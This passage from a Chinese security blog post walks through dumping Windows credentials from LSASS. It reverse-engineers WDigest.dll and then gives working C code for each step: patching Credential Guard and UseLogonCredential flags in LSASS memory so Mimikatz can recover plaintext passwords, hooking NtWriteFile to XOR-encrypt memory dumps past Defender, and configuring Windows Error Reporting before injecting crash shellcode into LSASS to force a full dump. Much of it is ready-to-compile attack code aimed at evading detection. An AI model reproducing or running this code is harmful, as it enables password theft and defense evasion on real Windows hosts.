R9`寄存器来传递前四个参数的,所以我们可以直接查看`r8`寄存器中的值,`r8`寄存器中的值是一个地址,该地址是指向**SECPKG\_PRIMARY\_CRED结构的指针**。我们来看一下该结构。 ```c typedef struct _SECPKG_PRIMARY_CRED { LUID LogonId; UNICODE_STRING DownlevelName; //安全账户管理器账户名称 UNICODE_STRING DomainName; //包含帐户所在的 NetBIOS 域名 UNICODE_STRING Password; //登录密码 UNICODE_STRING OldPassword; PSID UserSid; ULONG Flags; UNICODE_STRING DnsDomainName; UNICODE_STRING Upn; UNICODE_STRING LogonServer; UNICODE_STRING Spare1; UNICODE_STRING Spare2; UNICODE_STRING Spare3; UNICODE_STRING Spare4; } SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED; ``` 我们主要是来获取上面结构中的`DownlevelName` `DomainName` `Password`。 那么就可以通过`dt`指令来获取了,首先来获取`DownlevelName`的值。 ```c dt _UNICODE_STRING r8+0x8 ```  再来获取`DomainName`的值。 ```c dt _UNICODE_STRING r8+0x18 ``` 再来看看密码的字段。 ```c dt _UNICODE_STRING r8+0x28 ```  #### 静态分析WDigest.dll 现在我们来打开`IDA PRO`,并将`Wdigest.dll`文件拖进去。并在函数这里搜索`SpAcceptCredentials`,双击就可以打开它的伪代码了。  我们来到144行这里,可以看到这里有一个`IF`判断。它在判断如果全局变量`g_fParameter_UseLogonCredential`等于0或`g_IsCredGuardEnabled`等于1,那么就执行下面这段代码。所以这一步是在检查`Credential Guard`凭据保护是否启用,如果启用则该值为1。现在我们来看看`g_IsCredGuardEnabled`值在哪里被赋值的。  可以看到`g_IsCredGuardEnabled`值在`SpInitialize`处被引用了。  这里跟进去。可以看到该值存储在v5变量中,而v5变量来自于`MachineState`参数,该参数是一个由 LSA (Local Security Authority) 传递给安全包的位掩码(Bitmask)参数,反映了当前操作系统的全局安全状态。如果它的第五位等于1,那么就意味着`Credential Guard`已开启。  现在我们来看看`g_fParameter_UseLogonCredential`是从哪里被获取的。可以看到在`NtDigestReadRegistry`中被引用了。  现在我们跟进去,发现该值是在`ReadDwordRegistrySetting`函数中被赋值的。跟进该函数。  我们发现该函数是首先调用 `RegQueryValueExW` 试图从注册表中获取 **"UseLogonCredential"** 配置项。如果这个值在注册表中已经存在,函数会直接获取它的值并存入 `lpData` 中。  我们可以看看`g_hkBase`句柄,可以看到它是打开`System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest`注册表项。  所以`g_fParameter_UseLogonCredential`的值是通过查询`System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest`表项中的`UseLogonCredential`值,如果有值的话直接写入到`g_fParameter_UseLogonCredential`变量中。  所以如果`Credential Guard`开启或`UseLogonCredential`注册表值为0时, `v11`变量会被设置为1,我们来看看在哪里用到了它。 可以看到在这里用到了`v11`变量,这里会执行`LogSessHandlerNoPasswordInsert`函数,这意味着密码将不会存储在`LSASS`内存中,仅保留会话信息。  而在IF条件之后我们可以看到另外一个函数: `UnicodeStringDuplicatePassword`。该函数将我们之前看到的那个结构体`SECPKG_PRIMARY_CRED`中看到的密码填充到`v6+80`的位置。  所以我们发现密码被存储在`v6+80`的位置,并被传递给`LogSessHandlerPasswordSet`函数,这意味着它会将密码存储在内存中。也就是说像`Mimikatz`这样的工具是可以获取到明文的凭据的。  #### 修补g\_isCredGuardEnabled和g\_fParameter\_UseLogonCredential 前面我们得知如果`g_isCredGuardEnabled`的值是1或`g_fParameter_UseLogonCredential`的值为0,那么就会给`v11`变量赋值,从而导致我们的明文密码并不会存储在Lsass内存中。 所以我们可以通过修补这两个变量的值来让其明文密码存储到`Lsass`内存中,这样我们就可以通过`Mimikatz`的`sekurlsa::wdigest`来导出明文密码了。 如果要修补这两个值,这里我们分为三步: 1. 首先检查当前工具是否是以管理员权限运行的,这是访问`LSASS`内存的必要条件。然后从微软服务器中下载符号偏移量。通过这种方式我们就可以获取到`wdigest!GS_CredentialGuardEnabled 和 wdigest!GF_Parameter_UseLogonCredential`的具体偏移地址。 2. 第二步使用`CreateToolHelp32Snapshot`来获取到所有运行进程的快照,并通过`Process32First`和`Process32Next`来遍历所有的进程。直到找到`Lsass.exe`进程,然后获取到它的PID,根据PID使用`PROCESS_ALL_ACCESS`权限来获取其内存的完全访问权限。然后通过`EnumProcessModule`函数来枚举`Lsass`内存中加载的所有模块,并利用`GetModuleFileNameExA`函数来通过名称识别出`wdigest.dll`模块,它使用`GetModuleInformation`获取`wdigest.dll`在`LSASS`内存中的基地址和大小。最后一步就是对我们之前看到的`Wdigest`变量进行修补。 3. 利用`ReadProcessMemory`和`WriteProcessMemory`来对其`g_isCredGuardEnabled`变量和`g_fParameter_UseLogonCredential`进行修补,以此来禁用`LSASS`对凭据守护的使用。 所以首先第一步是来判断当前程序是否是以管理员权限运行的。这里就不做过多解释了。 ```c //判断当前程序是否是以管理员权限运行的 BOOL IsProcessHighIntegrity() { HANDLE processToken = NULL; BOOL result = FALSE; DWORD integrityLevel = 0; PTOKEN_MANDATORY_LABEL tokenLabel = NULL; DWORD labelSize = 0; //获取进程令牌 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &processToken)) { return FALSE; } //获取令牌信息的大小 if (!GetTokenInformation(processToken, TokenIntegrityLevel, NULL, 0, &labelSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) { tokenLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, labelSize); } if (tokenLabel == NULL) { CloseHandle(processToken); return FALSE; } if (GetTokenInformation(processToken, TokenIntegrityLevel, tokenLabel, labelSize, &labelSize)) { DWORD sidSubAuthority = *GetSidSubAuthority(tokenLabel->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(tokenLabel->Label.Sid) - 1)); integrityLevel = sidSubAuthority; //权限对比 if (integrityLevel >= SECURITY_MANDATORY_HIGH_RID) { result = TRUE; } } LocalFree(tokenLabel); CloseHandle(processToken); return result; } ``` 下一步则是提升进程特权,开启SeDebugPrivilege调试特权。 ```c //提升进程特权 开启SeDebugPrivilege调试 BOOL SetDebugPrivilege() { HANDLE tokenHandle = NULL; TOKEN_PRIVILEGES privileges = { 0 }; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &tokenHandle)) { return FALSE; } LUID luid; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { CloseHandle(tokenHandle); return FALSE; } privileges.PrivilegeCount = 1; privileges.Privileges[0].Luid = luid; privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(tokenHandle, FALSE, &privileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { CloseHandle(tokenHandle); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { CloseHandle(tokenHandle); return FALSE; } CloseHandle(tokenHandle); return TRUE; } ``` 现在就要就需要通过从微软服务器中下载符号偏移量从而获取到`g_isCredGuardEnabled`和`g_fParameter_UseLogonCredential`偏移值。 这个和之前修改`ETW`的时候是一样的。  然后获取到`Lsass.exe`进程的`Pid`。 ```c DWORD GetLsassPid() { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); DWORD pid = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(hSnapshot, &entry)) { while (Process32Next(hSnapshot, &entry)) { if (_wcsicmp(entry.szExeFile, L"lsass.exe") == 0) { pid = entry.th32ProcessID; break; } } } CloseHandle(hSnapshot); return pid; } ``` 接下来根据`Lsass.exe`进程的`PID`来打开该进程的句柄,然后根据`Lsass.exe`进程的句柄调用`EnumProcessModules`函数来枚举出该进程中所有加载的模块。获取到所有加载的模块后,根据模块名称进行判断找出`wdigest`模块,然后调用`GetModuleInformation`函数来获取到`wdigest`模块的详细信息,主要是获取到该模块的基地址。通过该模块的基地址加上`g_isCredGuardEnabled`变量的偏移就获取到了它的地址,以及`g_fParameter_UseLogonCredential`的偏移就获取到了它的地址。 ```c if (0 != lsassPid) { //通过OpenProcess来打开该进程的句柄 HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid); if (hLsass) { HMODULE hArray[256]; DWORD fak; //枚举Lsass.exe进程中加载的所有模块 将其模块都填充到hArray数组中 将实际返回的字节数存储到fak变量中 EnumProcessModules(hLsass, hArray, sizeof(hArray), &fak); char szFilename[256]; //根据fak变量 / sizeof(HMODULE) 得到模块的具体数量 for (unsigned int i = 0; i < (fak / sizeof(HMODULE)); i++) { //检索进程中模块的全路径名 存储在szFilename中 GetModuleFileNameExA(hLsass, hArray[i], szFilename, 256); //判断模块是否是wdigest if (strstr(szFilename, "wdigest")) { MODULEINFO moduleInfo; //MODULEINFO结构体用于接收模块的详细信息 比如DLL加载的基地址 该模块的入口地址 以及虚拟大小 //获取到wdigest模块的详细信息 存储到moduleInfo结构中 if (GetModuleInformation(hLsass, hArray[i], &moduleInfo, sizeof(MODULEINFO))) { //获取到wdigest模块的基地址 unsigned char* ptr = (unsigned char*)moduleInfo.lpBaseOfDll; //通过wdigest模块的基地址 + g_fParameter_UseLogonCredential变量的偏移 = 定位到g_fParameter_UseLogonCredential变量的地址 LPVOID addrOfUseLogonCredentialGlobalVariable = ptr + logonCredential_offSet; //通过wdigest模块的基地址 + g_IsCredGuardEnabled变量的偏移 = 定位到g_IsCredGuardEnabled变量的地 ``` 现在我们已经拿到了`g_isCredGuardEnabled`变量以及`g_fParameter_UseLogonCredential`变量的地址。现在就可以调用`ReadProcessMemory`来读取它的值,以及调用`WriteProcessMemory`写入它的值。 ```c //从addrOfUseLogonCredentialGlobalVariable地址开始读取 读取4个字节 最终存储到dwCurrent中 ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead) //修改g_fParameter_UseLogonCredential变量的值为1 WriteProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, (PVOID)&dwUseLogonCredential, sizeof(DWORD), &bytesWritten); //读取修改后的结果 ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead); ``` 如果要修改`g_IsCredGuardEnabled`变量的值,需要注意的是该变量通常是只读的,所以需要将其权限更改为可读可写之后才能进行写入。 ```c //修改g_IsCredGuardEnabled变量的保护权限 更改为可读可写 VirtualProtectEx(hLsass, addrOfCredGuardEnabled, sizeof(DWORD), PAGE_READWRITE, &oldProtect); //读取g_IsCredGuardEnabled变量的值 ReadProcessMemory(hLsass, addrOfCredGuardEnabled, &dwCurrent, dwCurrentLength, &bytesRead); //修改g_IsCredGuardEnabled的值为0 WriteProcessMemory(hLsass, addrOfCredGuardEnabled, (PVOID)&dwCredGuard, sizeof(DWORD), &bytesWritten); //将内存保护权限改回来 ReadProcessMemory(hLsass, addrOfCredGuardEnabled, &dwCurrent, dwCurrentLength, &bytesRead); ``` #### 挂钩MiniDumpWriteDump `MiniDumpWriteDump`函数可以用于转储`Lsass.exe`进程。但是如果直接调用所产生的文件会被`Defender`所识别到。所以我们可以对其进行挂钩`Hooking`操作,将其生成的文件进行加密处理。 所以首先第一步是判断当前程序是否在管理员命令行下运行以及启用调试权限。这一步和上面的是一样的。 下一步是获取到`Lsass.exe`进程的句柄,以及创建你要写入的加密文件。然后通过`MinHook`来挂钩`NtWriteFile`函数。 ```c //定义NtWriteFile函数原型 typedef NTSTATUS(NTAPI* fnNTWRITEFILE)( HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key ); fnNTWRITEFILE OriginalNtWriteFile = NULL; //定义写入到文件的句柄 HANDLE hFile; //异或加密 void xor_aa(BYTE* input, size_t length) { for (int i = 0; i < length; i++) { input[i] = input[i] ^ 0xaa; } } char* wcharToChar(const wchar_t* wstr) { // 1. 检查输入字符串是否为空指针 if (!wstr) return NULL; // 2. 计算转换后的 UTF-8 字符串所需的缓冲区大小(字节数) // 第四个参数 -1 表示处理整个字符串,直到遇到空终止符 \0 // 最后两个参数设为 NULL 和 0,表示不进行转换,仅返回所需的字节数(包含 \0) int bytesNeeded = WideCharToMultiByte(CP_UTF8, 0, wstr, -1, NULL, 0, NULL, NULL); // 如果计算失败或结果异常,返回 NULL if (bytesNeeded <= 0) return NULL; // 3. 为转换后的 UTF-8 字符串分配内存 // 注意:此处使用了 malloc,调用者在使用完后必须调用 free() 释放内存,否则会内存泄漏 char* cstr = (char*)malloc(bytesNeeded); // 检查内存分配是否成功 if (!cstr) return NULL; // 4. 执行真正的从宽字符到 UTF-8 的转换 // 将转换后的内容填充到刚刚分配的 cstr 缓冲区中 if (WideCharToMultiByte(CP_UTF8, 0, wstr, -1, cstr, bytesNeeded, NULL, NULL) == 0) { // 如果转换失败,释放已分配的内存,防止泄漏 free(cstr); return NULL; } // 5. 返回转换成功后的多字节字符串指针 return cstr; } DWORD GetLsassPid() { PROCESSENTRY32 pe; DWORD Pid = NULL; pe.dwSize = sizeof(PROCESSENTRY32); //初始化PROCESSENTRY32结构的大小 //获取到进程的快照 HANDLE snip = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if (snip == INVALID_HANDLE_VALUE) { printf("Failed to create snapshot.\n"); return 0; } //检索有关系统快照中遇到的第一个进程的信息。 if (Process32First(snip,&pe)) { do { if (strcmp(wcharToChar(pe.szExeFile),"lsass.exe") == 0) { Pid = pe.th32ProcessID; break; } } while (Process32Next(snip,&pe)); } else { printf("Failed to retrieve process information.\n"); } return Pid; } NTSTATUS NTAPI HookedNtWriteFile( HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key ) { //在这里处理Hook之后的逻辑代码 //根据所需缓冲区的大小来分配一块内存 BYTE* buffer_Test = (BYTE*)malloc(Length); //将其字节原本调用NtWriteFile函数所写入的字节 现在写入到我们分配的缓冲区中 memcpy(buffer_Test, Buffer, Length); //判断要写入的文件句柄是否是我们通过CreateFile打开的那个文件句柄 if (FileHandle == hFile) { //进行xor加密处理 xor_aa((BYTE*)buffer_Test, Length); } //调用原始函数来将其写入 只是写入的是我们通过异或之后的 return OriginalNtWriteFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, buffer_Test, Length, ByteOffset, Key); } //安装Hook钩子 void SetHook() { //初始化Hook钩子 if (MH_Initialize() != MH_OK) { printf("[-] Failed to initialize MinHook.\n"); return; } //当系统调用NtWriteFile函数来写入文件时 先跳转到HookedNtWriteFile自定义Hook函数中 //然后将NtWriteFile的原始地址保存到OriginalNtWriteFile变量中 if (MH_CreateHookApi(L"ntdll","NtWriteFile",&HookedNtWriteFile, reinterpret_cast<LPVOID*>(&OriginalNtWriteFile)) != MH_OK) { printf("[-] Failed to MH_CreateHookApi.\n"); return; } //启用Hook钩子 if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) { printf("[-] Failed to MH_EnableHook.\n"); return; } printf("[+] Installer NtWriteFile Hooking!!!!"); } ``` 挂钩成功后,调用`MiniDumpWriteDump`函数来进行转储,改函数会调用`NtWriteFile`函数,而该函数我们已经挂钩过了。所以会执行到我们自定义的Hook函数中,而在我们自定义的Hook函数中去对我们缓冲区的内容进行异或加密。 ```c BOOL dumped = MiniDumpWriteDump(hProcess,Pid,hFile, MiniDumpWithFullMemory,NULL,NULL,NULL); ``` 如下演示:  需要注意的是这里需要安装`MinHook`。 首先下载: ```c https://github.com/microsoft/vcpkg ``` 执行如下命令: ```c # 运行引导脚本以创建 vcpkg 可执行文件 .\vcpkg\bootstrap-vcpkg.bat # 将 vcpkg 与 Visual Studio 整合(使 VS 能自动识别 vcpkg 库) .\vcpkg\vcpkg integrate install # 安装 64 位 Windows 静态编译版本的 minhook .\vcpkg\vcpkg install minhook:x64-windows-static ```   装好之后,来到项目属性这里。设置如下:  紧接着在链接器->输入 这里加入minhook.x64.lib即可。  然后在这里直接导入即可。  这样`MinHook.h`就安装好了,需要注意的是编译的时候使用LLVM进行编译。  #### 自定义MiniDumpWriteDump 已经有大佬对`MiniDumpWriteDump`函数进行了逆向,所以我们可以直接拿来用。如下链接下载: ```c https://github.com/reactos/reactos/blob/3fa57b8ff7fcee47b8e2ed869aecaf4515603f3f/dll/win32/dbghelp/minidump.c ``` 我们主要要对该版本进行简单修改,在它写入到磁盘时进行异或加密处理,在这之前我们是通过挂钩`NtWriteFile`函数来实现的。而在这里它本质上是通过`WriteFile`函数来将数据写入文件的。  所以我们可以更改`writeat`函数,在它写入数据到文件之前,我们对其进行异或加密处理即可。 例如这样:  其余代码我们先不用关心,现在再来回到我们之前熟知的代码这里。还是和前面的代码一样,对当前程序开启调试权限,获取到Lsass.exe进程的PID以及句柄,然后创建文件句柄,最终将其传递给`CustomMiniDumpWriteDump`函数。  `CustomMiniDumpWriteDump`函数是`minidump.c`文件中的`MiniDumpWriteDump`函数。  #### 滥用Windows错误报告 滥用`Windows`错误报告进行`Lsass.exe`进程转储,这意味着我们将故意尝试让`Lsass`进程崩溃,并让`Windows`错误报告机制来自动为我们生成完整的内存转储文件。 所以我们来看一下该代码。所以我们第一步还是判断当前进程是否以管理员权限运行的,给当前运行的程序设置调试权限。下一步则是配置Windows错误报告WER 所以每当Lsass进程崩溃时 它会为我们创建一个本地转储dmp。 ```c //修改注册表键来配置Windows错误报告WER 所以每当Lsass进程崩溃时 它会为我们创建一个本地转储dmp BOOL EnableLocalDumps() { HKEY hKey; LONG lResult; DWORD dwDumpType = 2; //设置转储类型为2 这意味着它将捕获LSASS的完整内存 一旦Lsass崩溃,Windows错误报告机制会将整个内存转储出来 DWORD dwDumpCount = 10000; //设置转储计数1000 这意味着如果发生了10000次崩溃 那么也会保留10000个文件 wchar_t szDumpFolder[] = L"C:\\Dumps"; //保留转储文件的目录为: C:\\Dumps //打开注册表项 lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps\\lsass.exe", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL); if (lResult != ERROR_SUCCESS) { printf("Failed to open or create the registry key.\n"); return FALSE; } //设置转储类型值 RegSetValueEx(hKey, L"DumpType", 0, REG_DWORD, (const BYTE*)&dwDumpType, sizeof(dwDumpType)); //设置计数值 RegSetValueEx(hKey, L"DumpCount", 0, REG_DWORD, (const BYTE*)&dwDumpCount, sizeof(dwDumpCount)); //设置转储目录 RegSetValueEx(hKey, L"DumpFolder", 0, REG_EXPAND_SZ, (const BYTE*)szDumpFolder, sizeof(szDumpFolder)); RegCloseKey(hKey); printf("[+] Registry keys for WER local dumps configured successfully.\n"); return TRUE; } ``` 后续获取到Lsass.exe进程的PID,然后获取其进程句柄,在该进程地址空间内分配一块内存,然后将其恶意字符写入进去,然后创建一个远程线程指向该地址,最终导致Lsass.exe进程崩溃。 ```c //使其Lsass.exe进程崩溃 BOOL TriggerUnhandledExceptionInLsass(DWORD pid) { //创建一段可以让Lsass进程崩溃的Shellcode unsigned char* shellcode = (unsigned char*)"\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"; HANDLE hProcess; HANDLE hThread; PVOID remoteBuffer; //打开Lsass.exe进程的句柄 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProcess == NULL) { printf("Failed to open process.\n"); return 1; } //在Lsass.exe进程内申请一块内存 remoteBuffer = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (remoteBuffer == NULL) { printf("Failed to allocate memory in the target process.\n"); CloseHandle(hProcess); return 1; } //将Shellcode写入到创建的这块内存中 if (!WriteProcessMemory(hProcess, remoteBuffer, (LPVOID)shellcode, (SIZE_T)sizeof(shellcode), NULL)) { printf("Failed to write to process memory.\n"); VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } //创建远程线程的起始地址指向这块内存 hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); if (hThread == NULL) { printf("Failed to create the remote thread.\n"); VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); CloseHandle(hProcess); return TRUE; } ``` 最后就是对其我们的转储文件进行加密处理。这是因为当Lsass进程崩溃时EDR会重新启动 这将导致我们的静态文件被扫描到。 如下图演示: 
发表于 2026-04-02 09:00:01
阅读 ( 1415 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
南陈
5 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!